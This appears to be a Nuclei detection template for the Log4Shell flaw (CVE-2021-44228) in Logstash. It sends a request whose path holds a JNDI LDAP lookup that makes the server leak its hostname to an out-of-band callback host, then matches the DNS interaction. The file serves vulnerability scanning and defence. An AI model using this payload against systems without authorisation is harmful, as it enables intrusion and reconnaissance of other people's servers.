logstash-log4j-rce: Logstash - Remote Code Execution (Apache Log4j)

id: logstash-log4j-rce

info:
  name: Logstash - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Logstash is susceptible to Log4j JNDI remote code execution. Logstash is a free and open server-side data processing pipeline that ingests data from a multitude of sources, transforms it, and then sends it to your favorite "stash."
  reference:
    - https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:elastic:logstash:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: html:"logstash"
    product: logstash
    vendor: elastic
  tags: cve,cve2021,rce,jndi,log4j,logstash,oast,kev,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        GET /api/logstash/pipeline/${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}} HTTP/1.1
        Host: {{Hostname}}
        Referrer: {{RootURL}}/app/management/ingest/pipelines/
        Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a004730450220489202c6e2b949ddbd98da57956bc657f7835e4f4dffb959cf49be8376316d050221008b3b74556809a097489bad190983df4e066e75eccd190e1fa44ef45bc9874d15:922c64590222798bb761d5b6d8e72950